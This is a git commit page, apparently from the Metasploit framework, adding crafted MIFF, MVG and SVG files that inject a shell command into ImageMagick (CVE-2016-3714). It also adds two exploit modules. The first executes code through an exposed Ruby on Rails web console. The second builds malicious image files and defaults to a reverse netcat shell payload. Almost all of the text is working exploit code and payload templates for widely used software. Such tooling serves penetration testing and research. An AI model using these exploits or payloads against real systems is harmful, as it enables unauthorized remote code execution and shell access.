Merge branch 'master' into staging/rails-upgrade
David Maloney
commit
5a360be459
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id=ImageMagick version=1.0
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class=DirectClass colors=0 matte=False
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columns=1 rows=1 depth=16
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colorspace=sRGB
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page=1x1+0+0
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rendering-intent=Perceptual
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gamma=0.454545
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red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
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white-point=0.3127,0.329
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date:create=2016-05-04T00:19:42-05:00
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date:modify=2016-05-04T00:19:42-05:00
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label={";echo vulnerable"}
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:ÿÿÿÿÿÿ
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@ -0,0 +1,8 @@
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push graphic-context
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encoding "UTF-8"
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viewbox 0 0 1 1
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affine 1 0 0 1 0 0
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push graphic-context
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image Over 0,0 1,1 'https://localhost";echo vulnerable"'
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pop graphic-context
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pop graphic-context
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@ -0,0 +1,5 @@
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<?xml version="1.0" encoding="UTF-8" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
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xlink:href="https://localhost";echo vulnerable"" />
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</svg>
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After Width: | Height: | Size: 593 B |
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@ -0,0 +1,92 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution',
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'Description' => %q{
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This module exploits a remote code execution feature of the Ruby on Rails
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framework. This feature is exposed if the config.web_console.whitelisted_ips
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setting includes untrusted IP ranges and the web-console gem is enabled.
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},
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'Author' => ['hdm'],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://github.com/rails/web-console' ]
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],
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Privileged' => false,
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'Targets' => [ ['Automatic', {} ] ],
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'DefaultOptions' => { "PrependFork" => true },
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'DisclosureDate' => 'May 2 2016',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(3000),
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OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/missing404"])
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], self.class)
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end
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#
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# Identify the web console path and session ID, then inject code with it
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#
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def exploit
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path),
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'method' => 'GET'
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}, 25)
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if ! res
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print_error("Error: No response requesting #{datastore['TARGETURI']}")
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return
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end
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if res.body.to_s !~ /data-mount-point='([^']+)'/
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if res.body.to_s.index("Application Trace") && res.body.to_s.index("Toggle session dump")
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print_error("Error: The web console is either disabled or you are not in the whitelisted scope")
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else
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print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
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end
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return
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end
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console_path = $1 + "/repl_sessions"
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if res.body.to_s !~ /data-session-id='([^']+)'/
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print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
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return
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end
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session_id = $1
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print_status("Sending payload to #{console_path}/#{session_id}")
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res = send_request_cgi({
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'uri' => console_path + "/" + session_id,
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'method' => 'PUT',
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'headers' => {
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'Accept' => 'application/vnd.web-console.v2',
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'X-Requested-With' => 'XMLHttpRequest'
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},
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'vars_post' => {
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'input' => payload.encoded
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}
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}, 25)
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handler
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end
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end
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@ -0,0 +1,87 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
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'Description' => %q{
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This module exploits a shell command injection in the way "delegates"
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(commands for converting files) are processed in ImageMagick versions
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<= 7.0.1-0 and <= 6.9.3-9 (legacy).
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Since ImageMagick uses file magic to detect file format, you can create
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a .png (for example) which is actually a crafted SVG (for example) that
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triggers the command injection.
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Tested on Linux, BSD, and OS X. You'll want to choose your payload
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carefully due to portability concerns. Use cmd/unix/generic if need be.
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},
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'Author' => [
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'stewie', # Vulnerability discovery
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'Nikolay Ermishkin', # Vulnerability discovery
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'wvu', # Metasploit module
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'hdm' # Metasploit module
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],
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'References' => [
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%w{CVE 2016-3714},
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%w{URL https://imagetragick.com/},
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%w{URL http://seclists.org/oss-sec/2016/q2/205},
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%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
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%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456}
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],
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'DisclosureDate' => 'May 3 2016',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' => {
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'BadChars' => "\x22\x27\x5c", # ", ', and \
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'Compat' => {
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'PayloadType' => 'cmd cmd_bash',
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'RequiredCmd' => 'generic netcat bash-tcp'
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}
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},
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'Targets' => [
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['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
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['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
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['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_netcat',
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'LHOST' => Rex::Socket.source_address,
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'DisablePayloadHandler' => false,
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'WfsDelay' => 9001
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}
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))
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register_options([
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OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
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])
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end
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def exploit
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if target.name == 'SVG file'
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p = Rex::Text.html_encode(payload.encoded)
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else
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p = payload.encoded
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end
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file_create(template.sub('echo vulnerable', p))
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end
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def template
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File.read(File.join(
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Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
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))
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end
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end
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Loading…
Reference in New Issue